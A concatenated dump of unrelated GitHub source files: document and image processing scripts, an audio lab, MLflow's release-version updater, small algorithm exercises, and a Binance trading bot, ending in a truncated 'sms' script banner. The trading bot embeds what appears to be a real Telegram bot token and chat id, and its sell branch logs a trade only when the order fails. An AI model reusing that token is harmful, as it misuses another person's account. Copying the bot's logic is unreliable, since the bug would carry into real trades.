-----新增段落與文字-----\n p = self.docx.add_paragraph(\"\")\n p.add_run(self.text).font.size = Pt(14)\n # -----檢查數據使用率有沒有>95-----\n if int(self.check) >= 95:\n run = p.add_run(self.new_text2[2])\n run.font.color.rgb = RGBColor(255, 0, 0)\n run.font.size = Pt(14)\n\n else:\n p.add_run(self.new_text2[2]).font.size = Pt(14)\n self.docx.save(docx_path)\n\n def add_pictures(self):\n self.docx = Document(docx_path)\n self.docx.add_page_break()\n today = datetime.date.today()\n # -----如果本周只有4天工作天記得改3\n datelist = []\n # -----處理圖檔資料夾\n imgdir = os.listdir(imgdir_path)\n imgdir.sort(key=lambda fn: os.path.getmtime(imgdir_path + fn))\n s = -1\n dir_new = os.path.join(imgdir_path, imgdir[s])\n # -----判斷是不是指定的資料夾\n try:\n while True:\n # -----如果最新的檔案不是資料夾就再往前推-----\n if not os.path.isdir(dir_new):\n s -= 1\n dir_new = os.path.join(imgdir_path, imgdir[s])\n continue\n else:\n # -----如果資料夾的開頭不是指定格式就再往前推-----\n if not imgdir[s].startswith(\"file-download-\"):\n s -= 1\n dir_new = os.path.join(imgdir_path, imgdir[s])\n continue\n else:\n break\n except FileNotFoundError:\n print(\"沒有指定的圖檔資料夾\")\n os._exit(0)\n\n # -----處理圖檔格式\n dir = os.path.split(dir_new)[1]\n print(\"目前選擇的資料夾為:\", dir)\n imgpath = dir_new + \"\\\\\"\n imglist = os.listdir(imgpath)\n imglist.sort(key=lambda x: int(x.replace(\"IMG_\", \"\").split(\".\")[0]))\n s = 0\n startdate = today + datetime.timedelta(days=-4)\n\n # -----判斷工作未滿5天的情況 30張\n i = int(len(imglist) / 6)\n if i == 5:\n for i in range(1, 6):\n datelist.append(startdate)\n startdate += datetime.timedelta(days=1)\n elif i < 5:\n print(\"本週只有\", i, \"天工作天,選擇星期幾未上班:\\n\")\n # -----input近來是str\n not_work = int(input(\"輸入1、2、3、4、5:\"))\n\n # 周一不上班 == 週五往前推三天|週五不上班 == 週四往前推三天\n if not_work in [1, 5]:\n startdate = today + datetime.timedelta(days=-3)\n #遇到不上班的那一天就跳過\n for j in range(1, 6):\n if j == not_work:\n startdate += datetime.timedelta(days=1)\n continue\n datelist.append(startdate)\n startdate += datetime.timedelta(days=1)\n\n elif i == 6:\n startdate = startdate + datetime.timedelta(days=-1)\n for i in range(1, 7):\n datelist.append(startdate)\n startdate += datetime.timedelta(days=1)\n\n for week in range(len(datelist)):\n # -----第一行+入日期\n p = self.docx.add_paragraph(\"\")\n p.add_run(datelist[week].strftime(\"%#m/%#d\")).font.size = Pt(14)\n p.alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n p = self.docx.add_paragraph(\"\")\n p.add_run(\"左側冷氣:\").font.size = Pt(14)\n\n # -----插入圖片\n pic = self.docx.add_picture(imgpath + imglist[s])\n s += 1\n pic.width = Cm(18.44)\n pic.height = Cm(24.58)\n\n # -----第二頁\n for i in range(3):\n self.docx.add_paragraph(\"\")\n pic = self.docx.add_picture(imgpath + imglist[s])\n s += 1\n pic.width = Cm(18.44)\n pic.height = Cm(24.58)\n\n # -----第三頁\n self.docx.add_paragraph(\"\")\n p = self.docx.add_paragraph(\"\")\n p.add_run(\"右側冷氣:\").font.size = Pt(14)\n pic = self.docx.add_picture(imgpath + imglist[s])\n s += 1\n pic.width = Cm(18.44)\n pic.height = Cm(24.58)\n\n # -----第四頁\n for i in range(3):\n self.docx.add_paragraph(\"\")\n pic = self.docx.add_picture(imgpath + imglist[s])\n s += 1\n pic.width = Cm(18.44)\n pic.height = Cm(24.58)\n\n # -----第五頁\n self.docx.add_paragraph(\"\")\n p = self.docx.add_paragraph(\"\")\n p.add_run(\"機櫃正面:\").font.size = Pt(14)\n pic = self.docx.add_picture(imgpath + imglist[s])\n s += 1\n pic.width = Cm(18.44)\n pic.height = Cm(24.58)\n\n # -----第六頁\n for i in range(3):\n self.docx.add_paragraph(\"\")\n pic = self.docx.add_picture(imgpath + imglist[s])\n s += 1\n pic.width = Cm(18.44)\n pic.height = Cm(24.58)\n self.docx.save(finished_path)\n","repo_name":"Kevin-Lai-0717/lazy","sub_path":"step/tools/insight.py","file_name":"insight.py","file_ext":"py","file_size_in_byte":7566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70134287095","text":"from tracemalloc import start\r\nfrom matplotlib.pyplot import axis\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\nimport matplotlib.pyplot as plt\r\nimport soundfile as sf\r\nimport sounddevice as sd\r\nfrom scipy.interpolate import interp1d\r\nimport scipy.fftpack as scp\r\nimport os\r\n\r\n\r\ndef quantize(sourceSd, bits): \r\n m=0\r\n n=0\r\n typ = sourceSd.dtype\r\n d = 2**bits-1\r\n \r\n sound = sourceSd.astype(np.float32)\r\n\r\n if np.issubdtype(typ, np.floating):\r\n m=-1\r\n n=1\r\n else:\r\n m=np.iinfo(typ).min\r\n n=np.iinfo(typ).max\r\n \r\n sound = (sound -m) / (n-m)\r\n sound = np.round(sound*d)/d\r\n sound = ((sound*(n-m))+m).astype(typ)\r\n\r\n return sound\r\n\r\ndef decimate(sourceSd, n):\r\n return sourceSd[::n]\r\n\r\ndef interpolate(sourceSd,Fs,nFs,typ=\"linear\"):\r\n t = len(sourceSd[:])/Fs\r\n\r\n x= np.arange(0,t,1/Fs)\r\n x1=np.arange(0,t,1/nFs)\r\n\r\n # print(t)\r\n # print(x)\r\n # print(x1)\r\n\r\n i = interp1d(x,sourceSd,typ,fill_value=\"extrapolate\")\r\n return i(x1).astype(sourceSd.dtype)\r\n\r\n\r\ndef plot(sourceSd, Fs, ms,title,dest):\r\n t=ms\r\n m=int(Fs*(t/1000))\r\n\r\n plt.figure()\r\n plt.subplot(2,1,1)\r\n plt.title(title)\r\n\r\n plt.plot(np.arange(0,m)/Fs,sourceSd[0:m])\r\n\r\n plt.subplot(2,1,2)\r\n spectrum(sourceSd,Fs)\r\n\r\n plt.savefig(dest+'/'+title+'.png')\r\n\r\n #plt.show()\r\n\r\ndef spectrum(sourceSd,Fs):\r\n fsize = 2 ** 8\r\n yf = scp.fft(sourceSd, fsize)\r\n plt.plot(np.arange(0, Fs / 2, Fs / fsize), 20 * np.log10(np.abs(yf[:fsize // 2])))\r\n\r\n\r\n\r\ndef plotWithFreq(sourceSd,Fs, nFs,ms,title ,dest):\r\n t=ms\r\n\r\n plt.figure()\r\n\r\n plt.subplot(3,1,1)\r\n plt.title(title+' decymacja')\r\n size = 2 ** 8\r\n yf = scp.fft(sourceSd, size)\r\n d = spectrum(decimate(sourceSd,int(Fs/nFs)),nFs)\r\n plt.subplot(3,1,2)\r\n plt.title('inter. linear')\r\n iLin = spectrum(interpolate(sourceSd,Fs,nFs,\"linear\"),nFs)\r\n plt.subplot(3,1,3)\r\n plt.title('inter. cubic')\r\n iKw = spectrum(interpolate(sourceSd,Fs,nFs,\"cubic\"),nFs)\r\n \r\n plt.savefig(dest+'/'+title+'.png')\r\n #plt.show()\r\n\r\nsounds = os.listdir(\"D:/GitHubProjects/StudiaZUT/Systemy multimedialne/Lab5/\")[1:]\r\nsing = sounds[:6]\r\nsin = sounds[6:]\r\n\r\nfreqs = [2000,4000,8000,16000,24000,41000,16950]\r\n\r\n# for s in sing:\r\n# print(s)\r\n\r\n# for s in sin:\r\n# sound, freq = sf.read(s)\r\n# plot(quantize(sound, 4),freq,100,s +' 4 bit','Quantize')\r\n# plot(quantize(sound, 8),freq,100,s+' 8 bit','Quantize')\r\n# plot(quantize(sound, 16),freq,100,s+' 16 bit','Quantize')\r\n# plot(quantize(sound, 24),freq,100,s+' 24 bit','Quantize')\r\n\r\n# for f in freqs:\r\n# plotWithFreq(sound , freq, f, 100, s+' '+str(freq)+' to '+str(f),'ChangeFreq')\r\n\r\n\r\n# print(s)\r\n\r\n\r\n#sound, freq = sf.read('sing_low1.wav')\r\n\r\n#a = np.round(np.linspace(0,255,255,dtype=np.uint8))\r\n\r\n#plt.plot(s[:250])\r\n#plt.show()\r\n\r\n#print(sound.shape)\r\n#dec = decimate(sound,10)\r\n#print(dec.shape)\r\n\r\n#interpolate(sound,48000,16000,'linear')\r\n\r\n# SIN60Hz\r\n#\r\n# Kwantyzacja dla 4 bitów dźwięk ma inne brzmienie niż oryginał, przy 8 bitach pojawia się szum, \r\n# natomiast przy 16 jak i 24 bitach nie słychać żadnej różnicy między oryginałem\r\n# Decymacja dla częstotliwości 2000,4000, 8000, 16000, 24000 brzmią tak jak oryginał, zmiany brzmieniowe pojawiają się zaś\r\n# przy 16950 oraz 41000\r\n# Przy interpolacji liniowej oraz kwadratowej dźwięki brzmią tak samo jak oryginał\r\n\r\n\r\n# SIN440Hz\r\n#\r\n# Kwantyzacja podobnie jak przykład wyżej, dla 4 bitów, dźwięk znacznie się różni od oryginału. Przy 8, 16 oraz 24\r\n# nie występuje żadna znacząca różnica między oryginałem.\r\n# Decymacja identycznie jak przykład wyżej. 2000, 4000, 8000, 16000, 24000 brzmią jak oryginał, zaś 16950, 41000 \r\n# słyszalne są zmiany\r\n# Przy interpolacji liniowej oraz kwadratowej dźwięki brzmią tak samo jak oryginał\r\n\r\n\r\n# singMedium1\r\n#\r\n# Kwantyzacja dla 4 bitów dźwięk zniekształcony, dla 8 bitów występuje szum, natomiast dla 16 jak i 24 dźwięk jest\r\n# praktycznie taki sam jak ogryginalny.\r\n# Decymacja 2000, 4000, 8000, 16000, 16950, 41000 dźwięki zbliżone do oryginału. Przy 24000Hz dźwięki są niższe niż \r\n# w oryginale.\r\n# Przy interpolacji liniowej jak i kwadratowej dźwięki różnią się jedynie przy 24000Hz.\r\n\r\n\r\n# singLow1\r\n# \r\n# Kwantyzacja tak samo jak w singMedium1\r\n# Decymacja przy 2000, 4000, 8000, 16000 oraz 24000Hz słyszalna jest różnica między oryginałem, wyższe czestotliowści\r\n# bez różnicy\r\n# Interpolacja liniowa, jak i kwadratowa dla częstotliwości poniżej 24000Hz z słyszalnymi różnicami, wartości \r\n# powyżej, bez znaczących różnic\r\n\r\n\r\n","repo_name":"DanielBrzezickiKippo/StudiaZUT","sub_path":"Systemy multimedialne/Lab5/Lab05.py","file_name":"Lab05.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"2059736012","text":"import re\nfrom pathlib import Path\nfrom typing import List\n\nimport click\nfrom packaging.version import Version\n\n\ndef get_current_py_version() -> str:\n text = Path(\"mlflow\", \"version.py\").read_text()\n return re.search(r'VERSION = \"(.+)\"', text).group(1)\n\n\ndef replace_dev_suffix_with(version, repl):\n return re.sub(r\"\\.dev0$\", repl, version)\n\n\ndef replace_occurrences(files: List[Path], pattern: str, repl: str) -> None:\n pattern = re.compile(pattern)\n for f in files:\n old_text = f.read_text()\n if not pattern.search(old_text):\n continue\n new_text = pattern.sub(repl, old_text)\n f.write_text(new_text)\n\n\ndef update_versions(new_py_version: str) -> None:\n \"\"\"\n `new_py_version` is either a release version (e.g. \"2.1.0\") or a dev version\n (e.g. \"2.1.0.dev0\").\n \"\"\"\n current_py_version = get_current_py_version()\n current_py_version_without_suffix = replace_dev_suffix_with(current_py_version, \"\")\n\n # Python\n replace_occurrences(\n files=[Path(\"mlflow\", \"version.py\")],\n pattern=re.escape(current_py_version),\n repl=new_py_version,\n )\n # JS\n replace_occurrences(\n files=[\n Path(\n \"mlflow\",\n \"server\",\n \"js\",\n \"src\",\n \"common\",\n \"constants.tsx\",\n )\n ],\n pattern=re.escape(current_py_version),\n repl=new_py_version,\n )\n\n # Java\n for java_extension in [\"xml\", \"java\"]:\n replace_occurrences(\n files=Path(\"mlflow\", \"java\").rglob(f\"*.{java_extension}\"),\n pattern=rf\"{re.escape(current_py_version_without_suffix)}(-SNAPSHOT)?\",\n repl=replace_dev_suffix_with(new_py_version, \"-SNAPSHOT\"),\n )\n\n # R\n replace_occurrences(\n files=[Path(\"mlflow\", \"R\", \"mlflow\", \"DESCRIPTION\")],\n pattern=f\"Version: {re.escape(current_py_version_without_suffix)}\",\n repl=f\"Version: {replace_dev_suffix_with(new_py_version, '')}\",\n )\n\n\ndef validate_new_version(\n ctx: click.Context, param: click.Parameter, value: str # pylint: disable=unused-argument\n) -> str:\n new = Version(value)\n current = Version(get_current_py_version())\n if new < current:\n raise click.BadParameter(\n f\"New version {new} is not greater than or equal to current version {current}\"\n )\n return value\n\n\n@click.group()\ndef update_mlflow_versions():\n pass\n\n\n@update_mlflow_versions.command(\n help=\"\"\"\nUpdate MLflow package versions BEFORE release.\n\nUsage:\n\npython dev/update_mlflow_versions.py pre-release --new-version 1.29.0\n\"\"\"\n)\n@click.option(\n \"--new-version\", callback=validate_new_version, required=True, help=\"New version to release\"\n)\ndef pre_release(new_version: str):\n update_versions(new_py_version=new_version)\n\n\n@update_mlflow_versions.command(\n help=\"\"\"\nUpdate MLflow package versions AFTER release.\n\nUsage:\n\npython dev/update_mlflow_versions.py post-release --new-version 1.29.0\n\"\"\"\n)\n@click.option(\n \"--new-version\",\n callback=validate_new_version,\n required=True,\n help=\"New version that was released\",\n)\ndef post_release(new_version: str):\n current_version = Version(get_current_py_version())\n msg = (\n \"It appears you ran this command on a release branch because the current version \"\n f\"({current_version}) is not a dev version. Please re-run this command on the master \"\n \"branch.\"\n )\n assert current_version.is_devrelease, msg\n new_version = Version(new_version)\n # Increment the patch version and append \".dev0\"\n new_py_version = f\"{new_version.major}.{new_version.minor}.{new_version.micro + 1}.dev0\"\n update_versions(new_py_version=new_py_version)\n\n\nif __name__ == \"__main__\":\n update_mlflow_versions()\n","repo_name":"mlflow/mlflow","sub_path":"dev/update_mlflow_versions.py","file_name":"update_mlflow_versions.py","file_ext":"py","file_size_in_byte":3816,"program_lang":"python","lang":"en","doc_type":"code","stars":15878,"dataset":"github-code","pt":"22"} +{"seq_id":"24882107582","text":"# 재귀\ndef fibo_rec(x):\n\tif x == 1 or x == 2:\n\t\treturn 1\n\telse:\n\t\treturn fibo_rec(x - 1) + fibo_rec(x - 2)\n\nprint(\"---------------\")\n\n# 재귀 메모이제이션\nd = [0] * 100\n\ndef fibo_rec_memo(x):\n\tif x == 1 or x == 2:\n\t\treturn 1\n\tif d[x] != 0:\n\t\treturn d[x]\n\td[x] = fibo_rec_memo(x - 1) + fibo_rec_memo(x - 2)\n\treturn d[x]\n\n\n\nprint(\"---------------\")\n\n# 반복문 메모이제이션\ndef fibo_2(x):\n\td = [0] * (x + 1)\n\t\n\td[1], d[2] = 1, 1\n\n\tfor i in range(3, x + 1):\n\t\td[i] = d[i - 1] + d[i - 2]\n\treturn d[x]\n\nprint(fibo_2(7))","repo_name":"oio337a/Python-Programming-Note","sub_path":"Number_Theory/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"22925536250","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 24 00:20:38 2023\n\n@author: fist5\n\"\"\"\n\nclass ArrayBasedQueue:\n def __init__(self):\n self._arraySize = 10\n self._L = [None]*self._arraySize\n self._f = 0\n self._r = 0\n \n def size(self):\n return (self._arraySize - self._f + self._r) % self._arraySize\n \n def resize(self):\n self._arraySize = self._arraySize * 2\n newArray = [None]*self._arraySize\n for i in range(0,self._arraySize//2 - 1):\n newArray[i] = self._L[(self._f + i) % (self._arraySize//2)]\n self._L = newArray\n self._f = 0\n self._r = self._arraySize//2 - 1\n \n def enqueue(self, o):\n if self.size() == self._arraySize - 1:\n self.resize()\n self._L[self._r] = o\n self._r = (self._r + 1) % self._arraySize\n \n def dequeue(self):\n value = self._L[self._f]\n self._L[self._f] = None\n self._f = (self._f + 1) % self._arraySize\n return value\n\nQ = ArrayBasedQueue()\nQ.enqueue(1)\nQ.enqueue(2)\nQ.enqueue(3)\nQ.enqueue(1)\nQ.enqueue(2)\nQ.enqueue(3)\nQ.enqueue(1)\nQ.enqueue(2)\nQ.enqueue(3)\nQ.dequeue()\nQ.dequeue()\nQ.dequeue()\nQ.dequeue()\nQ.enqueue(1)\nQ.enqueue(2)\nQ.enqueue(3)\nQ.enqueue(1)\nQ.enqueue(2)","repo_name":"DGIRobo/DGIST-CSE203-Data-Structure","sub_path":"Part5_Linked Lists, (General) Trees, Binary Trees (HW2)/Linked Tree Implementation (HW2)/arrayBasedQueue.py","file_name":"arrayBasedQueue.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31580912356","text":"import random\n\ntam_pop = 10\ntam_genes = 5\n\ndef gerar_individuo(tam_genes):\n s = ''\n for i in range(tam_genes):\n s += str(random.randrange(0, 2))\n return s\n\ndef gerar_populacao(tam_pop):\n populacao = []\n for i in range(tam_pop):\n populacao.append(gerar_individuo(tam_genes))\n return populacao\n\npopulacao = gerar_populacao(tam_pop)\n\nfor i in range(tam_pop):\n print(populacao[i])\n\n","repo_name":"jeffersono7/algoritmo-genetico","sub_path":"funcoes.py","file_name":"funcoes.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9230240358","text":"import time, config, requests\r\nfrom binance.enums import *\r\nfrom datetime import datetime\r\nfrom product import product\r\nfrom binance.client import Client\r\n\r\nethbtc = product('eth', 'btc', KLINE_INTERVAL_1HOUR, sma1=5, sma2=200) # using sma5 and sma200\r\n# ethbtc = product('eth', 'btc', KLINE_INTERVAL_1MINUTE, sma1=5, sma2=200) # using sma5 and sma200\r\nethbtc.print_url()\r\n\r\n# cryptos = [btcusdt, ethusdt, bnbusdt]\r\ncryptos = [ethbtc]\r\n\r\nclient = Client(config.Real_key, config.Real_secret)\r\ntg_base_url = \"https://api.telegram.org/bot1963957459:AAE4WESuDYvMHMUbzHnX45q1YRoUiIXFEgI/sendMessage?chat_id=-1001388892189&text=\"\r\n\r\n\r\ndef order(side, quantity, symbol, price):\r\n try:\r\n print('Sending Order')\r\n send_message_url = tg_base_url + f'Sending Order\\nside={side}, symbol={symbol}, quantity={quantity}, price={price}.'\r\n requests.get(send_message_url)\r\n order = client.create_order(price=price, symbol=symbol, side=side, quantity=quantity, type=ORDER_TYPE_LIMIT, timeInForce=\"IOC\")\r\n print(order)\r\n except Exception as e:\r\n print(f'The trade cannot be executed as an exception occurred: {e}')\r\n send_message_url = tg_base_url + f'The trade cannot be executed as an exception occurred: {e}'\r\n requests.get(send_message_url)\r\n return False\r\n return True\r\n\r\n\r\nwhile True:\r\n print('*' * 40)\r\n print(f'Updated at {str(datetime.now())}')\r\n for coin in cryptos:\r\n coin.import_ticket_data()\r\n coin.create_smas()\r\n if len(coin.df['close']) >= coin.sma2:\r\n coin.create_buy_sell_zone()\r\n current_price = coin.df['close'].iloc[-1]\r\n current_price = str(round(current_price, 5))\r\n print(f'The current price of {coin.name} is {current_price}')\r\n coin.print_current_status()\r\n\r\n # Get the quantity of both the products\r\n my_assets = [coin.product_name1, coin.product_name2]\r\n for asset in my_assets:\r\n balance = client.get_asset_balance(asset=asset)\r\n print(f\"I am holding {balance['free']} {balance['asset']}\")\r\n\r\n if coin.bought_status() is False and coin.decide_to_buy():\r\n # Execute buy order\r\n print(f'Now Buy at {str(current_price)}')\r\n # if I am trading BTCUSDT, then I should BUY with all USDT\r\n product2_quantity_owned = client.get_asset_balance(asset=coin.product_name2)['free']\r\n if order(side=SIDE_BUY, symbol=coin.name, quantity=product2_quantity_owned, price=current_price) is True:\r\n coin.add_trade_record(time=str(datetime.now()), action='buy', price=current_price)\r\n print(coin.trade_record)\r\n coin.bought = True\r\n\r\n elif coin.bought_status() is True and coin.decide_to_sell():\r\n # Execute sell order\r\n print(f'Now Sell at {str(current_price)}')\r\n # if I am trading BTCUSDT, then I should SELL with all BTC\r\n product1_quantity_owned = client.get_asset_balance(asset=coin.product_name1)['free']\r\n if order(side=SIDE_SELL, symbol=coin.name, quantity=product1_quantity_owned, price=current_price) is False:\r\n coin.add_trade_record(time=str(datetime.now()), action='sell', price=current_price)\r\n coin.trade_count += 1\r\n print(coin.trade_record)\r\n coin.bought = False\r\n else:\r\n # Do nothing\r\n # print('Do nothing')\r\n pass\r\n # coin.print_df()\r\n # print(coin.trade_record)\r\n if len(coin.df) > 200:\r\n coin.pop_first_data()\r\n # print(coin.df)\r\n time.sleep(5)\r\n","repo_name":"ny423/Python-AutoTrading-Bot","sub_path":"bot/main_bot.py","file_name":"main_bot.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"8758839632","text":"from abc import ABC, abstractmethod\r\n\r\nfrom cloudshell.snmp.autoload.constants.entity_constants import (\r\n ENTITY_VENDOR_TYPE_TO_CLASS_MAP,\r\n)\r\nfrom cloudshell.snmp.autoload.snmp.entities.snmp_entity_base import BaseEntity\r\n\r\n\r\nclass EntityHelperAbc(ABC):\r\n @abstractmethod\r\n def get_physical_class(self, entity: BaseEntity) -> str:\r\n raise NotImplementedError\r\n\r\n\r\nclass EntityHelper(EntityHelperAbc):\r\n ENTITY_SAFE_CLASS_LIST = [\"port\", \"powersupply\"]\r\n\r\n def get_physical_class(self, entity: BaseEntity) -> str:\r\n entity_class = entity.entity_class\r\n if not entity_class or \"other\" in entity_class:\r\n if not entity.vendor_type:\r\n if entity.position_id == \"-1\" and (\r\n \"chassis\" in entity.name.lower()\r\n or \"chassis\" in entity.description.lower()\r\n ):\r\n return \"chassis\"\r\n return \"\"\r\n for key, value in ENTITY_VENDOR_TYPE_TO_CLASS_MAP.items():\r\n if key.search(entity.vendor_type_label):\r\n entity_class = value\r\n\r\n return entity_class\r\n","repo_name":"QualiSystems/cloudshell-snmp-autoload","sub_path":"cloudshell/snmp/autoload/helper/entity_helper.py","file_name":"entity_helper.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36489624684","text":"from typing import Any\nimport cv2\nimport configparser\nimport os\n\nclass ProcessJPEGImages:\n def __init__(self, src_image_path: str, dest_image_path: str) -> None:\n # Image path\n self.src_image_path = src_image_path\n self.dest_image_path = dest_image_path\n\n # Open image\n self.image = cv2.imread(self.src_image_path)\n\n # Create config parser\n config = configparser.ConfigParser()\n config.read(r'C:\\Users\\pokhriyal\\Desktop\\OCRR-Engine\\config.ini')\n\n # get key values from config.ini\n self.k_size = config.get('ProcessImage','KSIZE')\n self.sigma_x = config.getfloat('ProcessImage', 'SIGMAX')\n self.sigma_y = config.getfloat('ProcessImage', 'SIGMAY')\n self.sig_alpha = config.getfloat('ProcessImage', 'SIGALPHA')\n self.sig_beta = config.getfloat('ProcessImage', 'SIGBETA')\n self.gamma = config.getfloat('ProcessImage', 'GAMMA')\n\n \n # func: denoising colored image\n def denoise_image(self):\n return cv2.fastNlMeansDenoisingColored(self.image, None, 10, 10, 7, 21)\n \n # func: convert image to gray\n def gray_image(self):\n return cv2.cvtColor(self.denoise_image(), cv2.COLOR_BGR2GRAY)\n \n # func: optimize Gaussian blurring\n def gaussian_blur(self):\n return cv2.GaussianBlur(self.gray_image(), tuple([int(i) for i in self.k_size.split(',')]), sigmaX=self.sigma_x, sigmaY=self.sigma_y)\n \n # func: optimize sharpeness\n # blend or mix two images together by assigning a weight to each image\n # alpah and beta control the weights of the two images\n # formula = alpha * image1 + beta * image2 +gamma\n def processed_image(self):\n try:\n image1 = self.gray_image()\n image2 = self.gaussian_blur()\n sharpened_image = cv2.addWeighted(image1, self.sig_alpha, image2, self.sig_beta, self.gamma)\n sharpened_image_gray = cv2.cvtColor(sharpened_image, cv2.COLOR_GRAY2BGR)\n cv2.imwrite(os.path.join(self.dest_image_path, os.path.basename(self.src_image_path) ), sharpened_image_gray)\n return True\n except Exception as error:\n return False","repo_name":"Devopcasting/ocrr-engine","sub_path":"helpers/process_image.py","file_name":"process_image.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18283042942","text":"from typing import List\n\n\nclass Solution:\n def searchInsert(self, nums: List[int], target: int) -> int:\n left = 0\n right = len(nums) - 1\n\n if target > nums[right]:\n return right + 1\n \n if target < nums[left]:\n return left\n\n # loop [left, right]\n # return target when nums[mid] is target\n # return mid when nums[mid] > target and nums[mid - 1] < target\n while (left <= right):\n mid = (left + right) // 2\n\n if nums[mid] == target:\n return mid\n elif nums[mid] > target:\n if mid >= 1 and nums[mid - 1] < target:\n return mid\n \n right = mid - 1\n else:\n left = mid + 1\n\n # target is beyond list\n return len(nums)","repo_name":"fghpdf/leetcode","sub_path":"py/serach_insert_position/search_insert_position.py","file_name":"search_insert_position.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"27270088151","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup, find_packages\n\nwith open('README.rst') as readme_file:\n readme = readme_file.read()\n\nwith open('HISTORY.rst') as history_file:\n history = history_file.read()\n\nrequirements = ['numpy>=1.16.2', ]\n\nsetup_requirements = ['pytest-runner', ]\n\ntest_requirements = ['pytest>=3', ]\n\nsetup(\n author=\"Mark Baber\",\n author_email='38889032+catana-research@users.noreply.github.com',\n python_requires='!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ],\n description=\"Test project\",\n entry_points={\n 'console_scripts': [\n 'project_test=project_test.cli:main',\n ],\n },\n install_requires=requirements,\n license=\"MIT license\",\n long_description=readme + '\\n\\n' + history,\n include_package_data=True,\n keywords='project_test',\n name='project_test',\n packages=find_packages(include=['project_test']),\n setup_requires=setup_requirements,\n test_suite='tests',\n tests_require=test_requirements,\n url='https://github.com/catana-research/project_test',\n version='0.1.0',\n zip_safe=False,\n)\n","repo_name":"catana-research/project_test","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73435666641","text":"import sys\n\nclass Solution:\n def max_value(self, easy, hard):\n if len(easy) == 0:\n return 0\n elif len(easy) == 1:\n return easy[0]\n else:\n res = [0]*len(easy)\n res[0] = easy[0]\n res[1] = max(easy[0] + easy[1], hard[1])\n for i in range(2, len(easy)):\n res[i] = max(res[i-1] + easy[i], res[i-2] + hard[i])\n return res[-1]\n\nN = int(input().strip())\neasy = []\nhard = []\nfor i in range(N):\n line = list(map(float, sys.stdin.readline().strip().split(\" \")))\n easy.append(line[0])\n hard.append(line[1])\nprint(Solution().max_value(easy, hard))","repo_name":"xiaomojie/NowCoder","sub_path":"面试与笔试/笔试/mt/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69814034643","text":"# Nesting \r\n\r\ncapitals ={\r\n \"France\": \"Paris\",\r\n \"Germany\": \"Berlin\"\r\n}\r\n\r\n# travel_log ={\r\n# \"France\":{ \"city_visited\": [\"paris\", \"lille\" ,\"Dijon\"] , \"total_visits\":12 },\r\n# \"Germany\":{ \"city_visited\": [\"Barlin\",\"Hamburg\",\"Stuttgrat\"] ,\"total_visits\":5}\r\n# }\r\n\r\n\r\ntravel_log = [\r\n {\"country\":\"France\" ,\r\n \"city\": [\"paris\", \"lille\" ,\"Dijon\"] ,\r\n \"visits\": 12 \r\n },\r\n {\"country\":\"Germany\" ,\r\n \"city\": [\"Barlin\",\"Hamburg\",\"Stuttgrat\"] ,\r\n \"visits\":5\r\n },\r\n] \r\n\r\n\r\ndef add_new_country(country,visits,city):\r\n new_country={}\r\n new_country[\"country\"]=country\r\n new_country[\"visits\"]=visits\r\n new_country[\"city\"]=city\r\n travel_log.append(new_country)\r\n\r\nadd_new_country(\"Russia\",2,[\"Moscow\",\"Saint petersburg\"])\r\nprint(travel_log)\r\n\r\n\r\n\r\n","repo_name":"Aditya-wani02/Python","sub_path":"u-py/Nestinglistdic.py","file_name":"Nestinglistdic.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6669874473","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 9 21:00:15 2019\n\n@author: edoardottt\nhttps://edoardoottavianelli.it\n\"\"\"\n\nimport sys,os\nword = sys.argv[1]\n\ndef find(word):\n result = set()\n path = os.getcwd()+'/find_result'\n for file in os.listdir(path):\n with open(path+'/'+file) as f:\n text = f.read()\n if word.lower() in text or word.upper() in text:\n result.add(file)\n if len(result)==0:\n return 'Input not present.'\n return sorted(result)\n\nprint(find(word))","repo_name":"edoardottt/multi-pdf-finder","sub_path":"find_python.py","file_name":"find_python.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"2447976055","text":"import json,requests,os,time\n\ndef main():\n os.system('clear')\n os.system('figlet sms')\n banner = '''\n author : harlan\n fb : harlan 